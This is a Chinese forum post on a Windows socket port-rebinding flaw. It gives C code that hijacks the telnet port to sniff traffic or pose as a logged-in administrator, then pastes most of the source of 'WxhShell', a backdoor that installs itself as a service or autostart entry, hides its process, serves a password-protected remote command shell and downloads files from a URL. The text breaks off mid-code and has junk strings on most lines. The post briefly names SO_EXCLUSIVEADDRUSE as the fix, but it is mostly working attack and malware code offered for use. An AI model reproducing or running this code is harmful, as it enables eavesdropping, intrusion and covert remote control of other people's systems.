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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +f+yh0Dj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /|f]L9)2<  
){~.jP=-#  
  saddr.sin_family = AF_INET; ]Re<7_xt  
g<Xwk2_=g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n66 _#X  
"AVc^>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,8 seoX^  
ua-p^X`w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 We2=|AB  
`1gsrHi4N  
  这意味着什么?意味着可以进行如下的攻击: ~c"c9s+o  
l(W3|W#P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @U5o;X!qU  
TEtZ PGFl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |rQ;|+.  
"]<Ut{Xb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FgxQ}VvlH  
;N|6C+y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w# ['{GL  
"rtmDNpL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rcOmpgew  
p5\b&~ g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tP9}:gu  
c<=1,TB"-_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UT-=5  
827N?pU$)  
  #include Ty m!7H2  
  #include ,aeFEsi  
  #include (Jm_2CN7X  
  #include    R= l/EK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @4pN4v8U  
  int main() " 1 Bn/Q  
  { YG_3@`-<  
  WORD wVersionRequested; P7 n~Ui~U  
  DWORD ret; H5n" !!  
  WSADATA wsaData; F9hCT)  
  BOOL val; <m!\Ma  
  SOCKADDR_IN saddr; L_(|5#IDw  
  SOCKADDR_IN scaddr; iH2|w  
  int err; *k/_p ^  
  SOCKET s; w*?JW  
  SOCKET sc; #8A|-u=3  
  int caddsize; ?w.Yx$Z"  
  HANDLE mt; I<$lpU_H  
  DWORD tid;   Kxg09\5i  
  wVersionRequested = MAKEWORD( 2, 2 ); z;-2xD0&U[  
  err = WSAStartup( wVersionRequested, &wsaData ); vR-/c  
  if ( err != 0 ) { 2axH8ONMu  
  printf("error!WSAStartup failed!\n"); 83@+X4ptp  
  return -1; bAgKOfT  
  } 9%x[z%06  
  saddr.sin_family = AF_INET; =T1i(M#  
   7w9) ^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U7OW)tUf  
>y1/*)O9~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5)}xqE"x  
  saddr.sin_port = htons(23); :U~[%]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T =:^k+  
  { | #,b1|af  
  printf("error!socket failed!\n"); JI.ad_IR  
  return -1; b747eR 7E  
  } ydpsPU?wj5  
  val = TRUE; _r&#Snp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [Ga 9^e$Zv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qh=lF_%uj  
  { ;yH/GN#O  
  printf("error!setsockopt failed!\n"); b.$Gc!g  
  return -1; |XeuqZa  
  } vHWw*gg(/E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (HY|0Bgr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }lhJt|qc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <.Pr+g  
vQA: \!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K{ N#^L!  
  { k)4   
  ret=GetLastError(); (yn!~El3  
  printf("error!bind failed!\n"); Xfk&{zO-j  
  return -1; gtJUQu p2  
  } &H`yDrg6U  
  listen(s,2); yD(0:g#  
  while(1) =DUsQN!  
  { 0~Z2$`(  
  caddsize = sizeof(scaddr); =#SKN\4  
  //接受连接请求 YB.r-c"Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZmUS}   
  if(sc!=INVALID_SOCKET) hI]KT a  
  { ^7V9\Q9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VWaI!bK  
  if(mt==NULL) c"v#d9  
  { Kmk<  
  printf("Thread Creat Failed!\n"); JmtU>2z\  
  break; w*OZ1|  
  } D\bW' k]!  
  } i` n,{{x&4  
  CloseHandle(mt); x4Y+?2  
  } pu=Q;E_f[  
  closesocket(s); 32:q'   
  WSACleanup(); 6uOR0L  
  return 0; xLPyV&j-  
  }   4L(axjMYU  
  DWORD WINAPI ClientThread(LPVOID lpParam) Cir==7A0  
  { _\1wLcFj  
  SOCKET ss = (SOCKET)lpParam; \&n]W\  
  SOCKET sc; KzG8K 6wZ  
  unsigned char buf[4096]; 8!'#B^  
  SOCKADDR_IN saddr; ;a*i*{\Rm  
  long num; T1LtO O  
  DWORD val; @I_A\ U{  
  DWORD ret; J#!:Z8b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eOE7A'X   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P BpjE}[Q  
  saddr.sin_family = AF_INET; `[2nxP>w`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H'P1EZtq  
  saddr.sin_port = htons(23); z<hy#BIjnd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [}N?'foLb  
  { w%g@X6  
  printf("error!socket failed!\n"); Q_x/e|sd  
  return -1; ke!)C[^7z  
  } ,g;~:  
  val = 100; <U (gjX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +MIDq{B  
  { 3W5|Y@0  
  ret = GetLastError(); 0bVtku K;G  
  return -1; FDkRfhK  
  } nxA Y]Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z;P[)q  
  { /#GX4&z  
  ret = GetLastError(); JnlM0jc]`  
  return -1; &>ii2% 4  
  } !LVWggk1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P*BA  
  { r=~yUT  
  printf("error!socket connect failed!\n"); x;?4AJ{  
  closesocket(sc); D\jRF-z  
  closesocket(ss); .R#p<"$I  
  return -1; j *Ta?'*  
  } (dLt$<F  
  while(1) c5+oP j  
  { pej/9{*xg(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J$%mG*Y(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yNoJrA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +^iUY%pm  
  num = recv(ss,buf,4096,0); By]XD~gcP  
  if(num>0) kOmTji7  
  send(sc,buf,num,0); [-x~Q[  
  else if(num==0) @kenv3[Lc  
  break; a]>gDDF  
  num = recv(sc,buf,4096,0); 7<<pP  
  if(num>0) Zz'(!h Uy  
  send(ss,buf,num,0); q&B'peT  
  else if(num==0) 3J7TWOJVw  
  break; :_~UO^*h  
  } :Ag]^ot  
  closesocket(ss); z | Hl*T  
  closesocket(sc); (wdE@/V  
  return 0 ; #I'W[\l~+  
  } $]<CC`  
|"8Az0[!  
lbZ,?wm  
========================================================== dE7 kd=.o  
[rC-3sGar  
下边附上一个代码,,WXhSHELL B;r U  
vvU;55-  
========================================================== 8P.t  
17I{_C  
#include "stdafx.h" ID & Iz  
_ r0oOpE  
#include <stdio.h> &^Zo}F2V  
#include <string.h> D}XyT/8G3  
#include <windows.h> E{[c8l2B  
#include <winsock2.h> mk2T   
#include <winsvc.h> #I|Vyufw  
#include <urlmon.h> LYhgBG,   
bHH{bv~Z  
#pragma comment (lib, "Ws2_32.lib") *6s B$E_y  
#pragma comment (lib, "urlmon.lib") " ;_bB"q*  
5"u-oE&  
#define MAX_USER   100 // 最大客户端连接数 1&\_|2  
#define BUF_SOCK   200 // sock buffer GNS5v-"H  
#define KEY_BUFF   255 // 输入 buffer [u;]J*  
IAf,TKfe  
#define REBOOT     0   // 重启 %6j|/|#]  
#define SHUTDOWN   1   // 关机 @vh3S+=M  
\$}xt`6p  
#define DEF_PORT   5000 // 监听端口 OD-CU8X9  
kSv?p1\@&P  
#define REG_LEN     16   // 注册表键长度 Q^$IlzG7i  
#define SVC_LEN     80   // NT服务名长度 y44FejH(v  
RIJ+]uir4  
// 从dll定义API T8h.!Vef  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sesr`,m.,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :~3sW< P R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I& l1b>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2+M(!FHfy  
-l+ &Bkf  
// wxhshell配置信息 R/R[r> 1)6  
struct WSCFG { \[Op:^S  
  int ws_port;         // 监听端口 i;;CU9`E2q  
  char ws_passstr[REG_LEN]; // 口令 gV1&b (h  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4- ^|e  
  char ws_regname[REG_LEN]; // 注册表键名 ;2q;RT`h  
  char ws_svcname[REG_LEN]; // 服务名 M p:c.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M8X*fYn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ +h2R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5gARGA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bAms-cXm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -%*>z'|{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8+{WH/}y8  
*M\Qt_[  
}; U>7"BpC  
6e&Y%O'8  
// default Wxhshell configuration ]`0(^)U &  
struct WSCFG wscfg={DEF_PORT, W Y_}D!O  
    "xuhuanlingzhe", XeX0\L')R  
    1, d|k6#f-E  
    "Wxhshell", BoYWx^VHx^  
    "Wxhshell", Q%KH^<  
            "WxhShell Service", ny%-u &1k  
    "Wrsky Windows CmdShell Service",  7m_Jb5  
    "Please Input Your Password: ", ;Xg6'yxJ  
  1, G,9osTt/  
  "http://www.wrsky.com/wxhshell.exe", Idop!b5!  
  "Wxhshell.exe" A(X~pP &oF  
    }; 5<w"iqZ\?N  
uNZJNrV%  
// 消息定义模块 <Z{\3X^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }WS%nQA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fqZqPcT0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hAi50q;z  
char *msg_ws_ext="\n\rExit."; )[yM4QFl  
char *msg_ws_end="\n\rQuit."; u6IEBYG ((  
char *msg_ws_boot="\n\rReboot..."; \!j{&cJ  
char *msg_ws_poff="\n\rShutdown..."; hPF9y@lh  
char *msg_ws_down="\n\rSave to "; ugcWFB5|  
A1e|Y  
char *msg_ws_err="\n\rErr!"; (`x6QiG!  
char *msg_ws_ok="\n\rOK!"; 6pDb5@QjTy  
ZGK*]o =)  
char ExeFile[MAX_PATH]; L3lf28W  
int nUser = 0; &?YbAo_K  
HANDLE handles[MAX_USER]; _?#}@?  
int OsIsNt; mwVH>3{j  
?&EPZqI  
SERVICE_STATUS       serviceStatus; '<5Gf1 @|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YdX#`  
34_:.QK-  
// 函数声明 <\!+J\YTA  
int Install(void); J7W]Str  
int Uninstall(void); +C1/02ZJ  
int DownloadFile(char *sURL, SOCKET wsh); }&sF \b  
int Boot(int flag); +Wh0Of  
void HideProc(void); vS%o>"P  
int GetOsVer(void); (.4mX t  
int Wxhshell(SOCKET wsl); 4]0|fi3}>  
void TalkWithClient(void *cs); 5jD2%"YUV  
int CmdShell(SOCKET sock); 9$8B)x  
int StartFromService(void); fQRGz\r*k  
int StartWxhshell(LPSTR lpCmdLine); XSC._)ztEE  
o#gb+[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'qwFVP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fC+<n{"C  
y3 @R>@$  
// 数据结构和表定义 Q4\EI=4P]  
SERVICE_TABLE_ENTRY DispatchTable[] = QyQ&xgS  
{ <iVn!P  
{wscfg.ws_svcname, NTServiceMain}, &dp<i[ec^  
{NULL, NULL} U1G"T(;s:  
}; u!?cKZw  
5xX*68]%  
// 自我安装 ^_ L'I%%[  
int Install(void) $50A!h  
{ e}Cp;c]=  
  char svExeFile[MAX_PATH]; "- @{ )  
  HKEY key; <gRv7 ?V[z  
  strcpy(svExeFile,ExeFile); ysm)B?+k  
ku3Vr\s  
// 如果是win9x系统,修改注册表设为自启动 ~c~N _b  
if(!OsIsNt) { ;4p_lw@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e2CjZ"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :td6Mywl  
  RegCloseKey(key); %Ez=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q$Qs$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'D(|NYY  
  RegCloseKey(key); U|VF zpJ  
  return 0; rdZk2\<  
    } *m6~x-x  
  } oG~a`9N%C  
} hw ]x T5  
else { eFS;+?bu  
=EwC6+8*M  
// 如果是NT以上系统,安装为系统服务 H"lq!C`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kSoa '  
if (schSCManager!=0) }bIbMEMn  
{ ee}&~%  
  SC_HANDLE schService = CreateService ew -5VL   
  ( Y1?w f.  
  schSCManager, 8$9<z  
  wscfg.ws_svcname, It>8XKS  
  wscfg.ws_svcdisp, F33&A<(,  
  SERVICE_ALL_ACCESS, ={P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 78&(>8@m  
  SERVICE_AUTO_START, 5/4N  Y  
  SERVICE_ERROR_NORMAL, N9@@n:JT  
  svExeFile, uLXMEx<^  
  NULL, ^x(BZolkm  
  NULL, E-jL"H*  
  NULL, V("@z<b|  
  NULL, gFlUMfKh  
  NULL `Mx&,;x  
  ); at"-X?`d  
  if (schService!=0) e]F4w(*=  
  { A (z lX_  
  CloseServiceHandle(schService); t@(S=i7}-  
  CloseServiceHandle(schSCManager); 3>;zk#b2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MQ7d IUs  
  strcat(svExeFile,wscfg.ws_svcname); bso l>M[<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Vq_/g!?1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x[l_dmq  
  RegCloseKey(key); .: gZ*ks~  
  return 0; 6\"g,f  
    } 9>,$q"M}?  
  } Y&M}3H>E  
  CloseServiceHandle(schSCManager); fui;F"+1  
} yneIY-g(p  
} 40,u(4.m*  
k\(LBZ"vR  
return 1; pJ)PVo\cV  
} !9w3/Gthj  
8+'9K%'@qX  
// 自我卸载 ('k;Ikut  
int Uninstall(void) <j CD^  
{ <NRW^#g<x  
  HKEY key; P X/{  
5WJof`M  
if(!OsIsNt) { +b@KS"3h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Ab4'4f  
  RegDeleteValue(key,wscfg.ws_regname); esE5#Yq4.k  
  RegCloseKey(key); 2}:{}pw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XIQfgrGZ  
  RegDeleteValue(key,wscfg.ws_regname); BPRhGG|9j  
  RegCloseKey(key); *$+k-BV  
  return 0; \/=w \Tj  
  } /S9s%scAy  
} e$!01Y$HI  
} sXe=4`O  
else { ig G8L  
Y:UDte[Lb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ErZYPl  
if (schSCManager!=0) ~Q<h,P  
{ +<qmVW^X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P]V/<8o.53  
  if (schService!=0) YT:])[gVV  
  { q6E8^7RtS@  
  if(DeleteService(schService)!=0) { e'%"G{(D  
  CloseServiceHandle(schService); PEA<H0  
  CloseServiceHandle(schSCManager); 2|a@,TW}-  
  return 0; tR`'( *wh  
  } -<e8\Z`  
  CloseServiceHandle(schService); TNgf96) y  
  } X{2))t%  
  CloseServiceHandle(schSCManager); r(qAe{  
} x-W6W  
} Z?@1X`@  
m]}%Ag^x  
return 1; :yPA6O 4  
} VI:EjZ/|a  
#$/SM_X14C  
// 从指定url下载文件 ^)-* Ubzz  
int DownloadFile(char *sURL, SOCKET wsh) H_3-"m&3  
{ ]<y _ =>  
  HRESULT hr; g$=y#<2?  
char seps[]= "/"; *c"tW8uR  
char *token; 2oL~N*^C  
char *file; B^8]quOH  
char myURL[MAX_PATH]; y9<]F6TT  
char myFILE[MAX_PATH]; <$m=@@qg  
HI+87f_Q  
strcpy(myURL,sURL); c{7<z9U  
  token=strtok(myURL,seps); . Y@)3  
  while(token!=NULL) w?u4-GT  
  { H~fX >6>  
    file=token; mC-'z  
  token=strtok(NULL,seps); h7 uv0a~0  
  } wXj!bh8\r  
=lyP &u  
GetCurrentDirectory(MAX_PATH,myFILE); y]9PLch]vZ  
strcat(myFILE, "\\"); AfQ?jKk&{'  
strcat(myFILE, file); u+ wKs`   
  send(wsh,myFILE,strlen(myFILE),0); (WoKrd.!  
send(wsh,"...",3,0); z>n<+tso  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZAK NyA2  
  if(hr==S_OK) ykq9]Xqhv  
return 0; >$^v@jf  
else =^nb-9.  
return 1; e G8Zn<:s  
RDFOUqS  
} P1 \:hh  
+Ndo$|XCy]  
// 系统电源模块 8Xo`S<8VS  
int Boot(int flag) FPg5!O%  
{ :Ng4? +@r  
  HANDLE hToken; ;|nC;D]  
  TOKEN_PRIVILEGES tkp; 4 VPJv>^  
Y$tgz)  
  if(OsIsNt) { +A 3Q$1F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [xaglZ9HNo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZH@BHg|}H  
    tkp.PrivilegeCount = 1; kTCWyc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kr;7~`$[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :#yjg1aej  
if(flag==REBOOT) { _1<zpHp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  G{4~{{tI  
  return 0; F0&BEJBkU  
} RA5*QW  
else { ;c>Co:W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PP+-D~r`}  
  return 0; u0 & aw  
} r$=YhI/=  
  } J~\`8cds  
  else { Er 4P  
if(flag==REBOOT) { @|7Ma/8v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Odk'{nW  
  return 0; gWqO5C~h  
} fF~3"!1#\I  
else { ;'\#+GZ9p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J}c`\4gD  
  return 0; X?B9Z8  
} NZj_7j|o9  
} ^:c:~F6J  
'yrU_k,h  
return 1; jsXj9:X I  
} 83^|a5  
zAr@vBfC%  
// win9x进程隐藏模块 vmV<PK-  
void HideProc(void) Glt%%TJb   
{ $d@_R^]X  
'Fe1]B"Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s :4<wmu4=  
  if ( hKernel != NULL ) hM": ?Rx  
  { W0++q=F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AX {~A:B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %`o3YR  
    FreeLibrary(hKernel); k1EAmA l  
  } "CS {fyJ  
M*& tVG   
return; Iy2KOv@a5  
} %Pz'D6 /  
f]P&>j|  
// 获取操作系统版本 d8Keyi8[  
int GetOsVer(void) O{B[iy(C  
{ 5>o<! 0g  
  OSVERSIONINFO winfo; 2E@ !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); upD 2vtU  
  GetVersionEx(&winfo); ;k<n}shD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hg~O0p}[  
  return 1; 319 &:  
  else 6" s}<  
  return 0; zsQhydTR  
} )$h<9e  
A;pVi;7  
// 客户端句柄模块 %J_`-\)"{~  
int Wxhshell(SOCKET wsl) b IS 3  
{ h^u 9W7.  
  SOCKET wsh; m' LRP:9v  
  struct sockaddr_in client; @kq~q;F  
  DWORD myID; ~ jR:oN  
` 0YI?$G1  
  while(nUser<MAX_USER) FG?69b>  
{ RV*7?y%3  
  int nSize=sizeof(client); JZCRu_M>|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 71nI`.Z  
  if(wsh==INVALID_SOCKET) return 1; e``X6=rcG  
4h|48</  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]3+xJz~=  
if(handles[nUser]==0) j'z}m+_?  
  closesocket(wsh); 5CSihw/5  
else **zh>Y}6  
  nUser++; 7y4!K$c$  
  } rUb`_W@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JWu^7}@~=  
^'UJ&UfX  
  return 0; B/*`u  
} r%*UU4xvB  
z}Qt6na]-  
// 关闭 socket i[gq8%  
void CloseIt(SOCKET wsh) sj)$o94=  
{ o6FSSKM  
closesocket(wsh); l'_P]@*  
nUser--; Lyx \s;  
ExitThread(0); FfDe&/,/  
} *AO^oBeY  
AfzE0mBW  
// 客户端请求句柄 S{ v [65  
void TalkWithClient(void *cs) ;ew3^i.du  
{ C+iIvRYC  
:RJ=f  
  SOCKET wsh=(SOCKET)cs; 5`$.GV  
  char pwd[SVC_LEN]; H#/}FoBiS  
  char cmd[KEY_BUFF]; LK "47  
char chr[1]; IX!Q X  
int i,j; g$qNK`y  
;P` z ?>J:  
  while (nUser < MAX_USER) { D6 2xC5  
OygR5s +  
if(wscfg.ws_passstr) { yq3i=RB(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [V\0P,l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ls(lL\  
  //ZeroMemory(pwd,KEY_BUFF); ~*Fbs! ;,  
      i=0; CS:"F) at  
  while(i<SVC_LEN) { |@J:A!  
RHV& m()Q  
  // 设置超时 {b|:q>Be8  
  fd_set FdRead; RCFocOOn  
  struct timeval TimeOut; xMk0Xf'_  
  FD_ZERO(&FdRead); 63ig!-9F  
  FD_SET(wsh,&FdRead); kIHfLwh9N  
  TimeOut.tv_sec=8; YTiXU Oj  
  TimeOut.tv_usec=0; bt=%DMTn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hf2Q;n&V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vJX3fE }F  
x Z 3b)j2D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %p5%Fs`sd  
  pwd=chr[0]; mk)F3[ ke  
  if(chr[0]==0xd || chr[0]==0xa) { r!qr'Ht<  
  pwd=0; ail%#E8  
  break; &dqC =oK]  
  } 9=(*#gRd  
  i++; 99'e)[\  
    } 3y}0J @  
#d+bld\  
  // 如果是非法用户,关闭 socket "=7y6bM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xLfx/&2  
} n'<FH<x  
vT*z3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MuzlUW]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [m>kOv6>^  
eq0&8/=  
while(1) { .xR J )9q  
uG1)cm B}  
  ZeroMemory(cmd,KEY_BUFF); Z J:h]  
LwpO_/qV  
      // 自动支持客户端 telnet标准   `QH-VR\_  
  j=0; }Y/uU"t  
  while(j<KEY_BUFF) { Ap&Bwo 8b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dgLE/r?  
  cmd[j]=chr[0]; oDY $F%  
  if(chr[0]==0xa || chr[0]==0xd) { b' 1%g}  
  cmd[j]=0; oy I8}s:  
  break; Tw:j}ERq  
  } b?6-lYE>L  
  j++; ZzU3j^  
    } }9w?[hXW"  
PU0Ha  
  // 下载文件 -)biSU,  
  if(strstr(cmd,"http://")) { dLV>FpA\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y be:u  
  if(DownloadFile(cmd,wsh)) Te%2(w,B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'*;>P .(  
  else sdk%~RN0T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [O) Q\|k  
  } 9M3XHj  
  else { F iZe4{(p  
-YF]k}|  
    switch(cmd[0]) { |7$F r[2d  
  )<_e{_ h  
  // 帮助 muMb pF  
  case '?': { ZWZRG-:&H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -;5WMX 6  
    break; AE1EZ#  
  } (*{Y#XD{  
  // 安装 {)E)&lL  
  case 'i': { B d#D*"gx  
    if(Install()) [,A*nU$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Ht!~So  
    else *D&(6$[^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aS ]bTYJ'  
    break; z8HOig?  
    } ,>H(l$n  
  // 卸载 gi26Dtk(h  
  case 'r': { eko$c,&jY  
    if(Uninstall()) -6wjc rTD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &L&6 y()G  
    else J$' Q3k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <m;idfn  
    break; H/qv%!/o  
    } Ne{2fV>8Ay  
  // 显示 wxhshell 所在路径 [PVem  
  case 'p': { AfU~k!4`  
    char svExeFile[MAX_PATH]; :bJT2o[  
    strcpy(svExeFile,"\n\r"); ;?-A 4!V,  
      strcat(svExeFile,ExeFile); QWqEe|}6  
        send(wsh,svExeFile,strlen(svExeFile),0); CC Z'(Tkq  
    break; .Ux bwTup  
    } YVcFCl  
  // 重启 5](-(?k}~  
  case 'b': { 6Vr:?TI7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |?zFm mh  
    if(Boot(REBOOT)) &NvvaqJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iUNlNl ?  
    else { <1r#hFUUL  
    closesocket(wsh); Nqf6CPXE  
    ExitThread(0); 0K+a/G@ n\  
    } o>(I_3J[p  
    break; * z,] mi%  
    } 1y\ -Iz^  
  // 关机 *>m,7} L  
  case 'd': { TR@*tfS  
